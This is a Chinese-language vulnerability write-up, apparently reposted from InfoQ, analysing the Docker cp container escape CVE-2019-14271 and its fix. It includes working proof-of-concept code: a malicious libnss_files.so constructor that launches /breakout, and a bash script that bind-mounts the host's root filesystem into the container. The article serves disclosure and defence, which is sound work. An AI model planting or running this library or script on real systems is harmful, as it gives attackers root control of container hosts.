迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

过去几年,我们在各种容器平台上发现copy(cp)命令中存在多个漏洞,包括DockerPodmanKubernetes

迄今为止,最严重的一个漏洞是今年7月被发现和披露的。而该漏洞发布时,并没有立即引起太多关注,可能是由于CVE描述不明确,并且缺少已经发布的漏洞利用方式。

CVE-2019-14271是一个Docker cp命令实现中存在的安全问题。一旦被攻击者利用,可能导致容器的完全逃逸。自今年2月发现严重的runC漏洞以来,这是后续发现的首个完整容器逃逸漏洞。

如果容器已被先前的攻击过程破坏(例如:借助其他漏洞和泄露信息等),或者当用户从不受信任的来源(例如:注册表等来源)运行恶意容器映像时,可以利用该漏洞。如果用户随后执行存在漏洞的cp命令,从受感染的容器中复制文件,那么攻击者就可以实现逃逸,并完全控制主机和其中的所有其他容器。

在Docker 19.03.1版本中,CVE-2019-14271被标记为关键漏洞,且目前已修复。我们对该漏洞进行了研究,并对漏洞的第一个概念证明(PoC)进行了分析。

我们一直密切关注流行容器平台上存在的漏洞,在近期发现其中的复制漏洞数量有明显增长趋势。

Docker cp

Copy命令允许从容器复制文件、复制文件到容器以及在容器之间复制文件。它的语法与标准Unix中的cp命令非常相似。如果要从容器中复制/var/logs,需要使用的语法为:docker cp container_name:/var/logs /some/host/path.

正如我们下图所看到的,要把文件复制到容器外,Docker借助一个名为docker-tar.的帮助进程。

从容器中复制文件:

docker-tar 的工作原理是对文件进行chroot(如下图所示),将请求的文件和目录放在其中,然后将生成的tar文件传递回Docker守护程序,该守护程序负责将其提取到宿主机的目标目录中。

Docker-tar chroot进入容器:

选择chroot的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件。

在2018年,有几个在Docker和Podman中发现的CVE漏洞是与符号链接相关的。通过进入到容器的根目录,docker-tar能确保所有符号链接都在其目录下被有效地解析。

但遗憾的是,在从容器中复制文件时,这样“扎根到容器中”的过程为更严重的漏洞埋下了伏笔。

CVE-2019-14271漏洞分析

Docker是使用Golang语言编写的。具体而言,易受攻击的Docker版本是使用Go v1.11编译而成的。

在这个版本中,某些包含嵌入式C语言代码(cgo)的软件包在运行时动态加载共享库。这些软件包包括netos/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。

通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会chroots到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。

需要说明的是,除了被chroot到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有root能力,并且不会受到cgroups或seccomp的限制。

有一种可能的攻击场景,是Docker用户从以下任一用户的位置复制一些文件:

  1. 运行包含恶意libnss_*.so库中恶意映像的容器;
  2. 受到攻击的容器,且攻击者替换了其中的libnss_*.so

在这两种情况时,攻击者都可以在宿主机上实现root权限的任意代码执行。

这里顺便提一个有趣的事实,这个漏洞实际上是从GitHub问题中发现的。该用户试图从debian:buster-slim容器中复制文件,过程中发现docker cp反复多次出现失败的情况。

其问题在于,这个特定的映像中不包含libnss库。因此,当用户运行docker cp,且docker-tar进程尝试从容器文件系统加载它们时,会出现失败并崩溃的情况。

漏洞利用

如果要利用CVE-2019-14271漏洞,需要构建一个恶意的libnss库。我们随机选择一个libnss_files.so,下载这个库的源代码,并向其中一个源文件添加了函数run_at_link()

我还使用构造函数属性定义了该函数。构造函数属性(特定于GCC的语法)指示run_at_link函数在由进程加载时将作为我们所选择这个库的初始化函数执行。这意味着,当docker-tar进程动态加载我们的恶意库时,将执行run_at_link。下面是run_at_link的代码,为简洁起见有所修改。

#include ...
 
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged();
 
__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;
 
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");
 
     if (!fork())
     {
 
           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child
 
     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

run_at_link首先验证它是否在docker-tar上下文中运行,因为其他常规容器进程也可能会加载。该过程是通过检查/proc目录来实现的。如果run_at_linkdocker-tar的上下文中运行,那么这个目录将为空,因为/proc上的procfs挂载仅存在于容器挂载的命名空间中。

接下来,run_at_link将恶意的libnss库替换为原始库。这样就可以确保利用该漏洞运行的所有后续进程都不会意外加载恶意版本并重新触发run_at_link的执行。

然后,为了简化利用,run_at_link尝试在容器中的/breakout路径处运行可执行文件。这将允许其他的漏洞利用可以以诸如bash的形式编写,而不一定是C语言。这一过程中将其余的逻辑排除在外,也意味着我们不用针对漏洞利用中的每一处更改都重新编译恶意库,而是只需要修改breakout二进制文件即可。

在下面的漏洞利用视频中,一个Docker用户运行了一个包含我们的恶意libnss_files.so库的恶意映像,然后尝试从容器中复制一些日志。映像中的/breakout二进制文件是一个简单的bash脚本,该脚本将宿主机上的文件系统挂载到容器的/host_fs处,同时还将一条消息写入到宿主机的/evil中。

以下是视频中所使用的/breakout脚本的来源。为了获得对宿主机root文件系统的引用,脚本在/proc挂载了procfs。由于docker-tar在主机的PID命名空间中运行,因此挂载的procfs将包含主机进程中的数据。然后,该脚本只需要挂载主机上PID为1的帐户(root)。

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

漏洞修复方法

该漏洞的修复代码修复了docker-tar的init函数,该函数可以从存在问题的Go软件包中调用任意函数。这将使得docker-tar在chroot到容器之前,从宿主机文件系统中加载libnss库。

CVE-2019-14271修复方法:

总结

允许在宿主机上以root执行代码的漏洞非常严重。因此,业务方需确认已经更新至Docker 19.03.1版本或更高版本,因为这些版本包含了针对该漏洞的修复。为限制此类攻击的攻击面,我们强烈建议大家不要轻易运行不受信任的映像。

除此之外,在不一定需要使用root用户的场景中,我们强烈建议以非root用户身份来运行容器。这样可以进一步提高其安全性,并能有效防范攻击者利用容器引擎或内核中可能存在的一些缺陷。

针对这个CVE-2019-14271漏洞,如果我们的容器使用非root用户运行,就能有效防范相应攻击。即使攻击者成功攻破了我们的容器,他也无法覆盖容器的libnss库,因为这个库仅有root具有权限,所以无法实现漏洞利用。

如果大家还想对此有更深入的了解,建议阅读Ariel Zelivansky的这篇文章,以明白以非root身份运行容器的安全优势。

此外,我们还可以使用安全产品或安全服务来防范此类威胁:

  1. 确保开发人员使用经过验证或经过批准的受信任映像。
  2. 借助主机漏洞扫描工具,针对当前环境中运行存在漏洞软件包的容器发出告警,并检测出当前存在的CVE漏洞。这样可以确保我们的容器不会运行存在漏洞的代码,并能防范1-day攻击。
  3. 使用运行时安全产品,识别并阻止恶意行为者访问并攻破我们的容器。(本文转自嘶吼
  • 发表于:
  • 本文为 InfoQ 中文站特供稿件
  • 首发地址https://www.infoq.cn/article/0ZJ1iOzWvi2L4cSBUvdQ
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券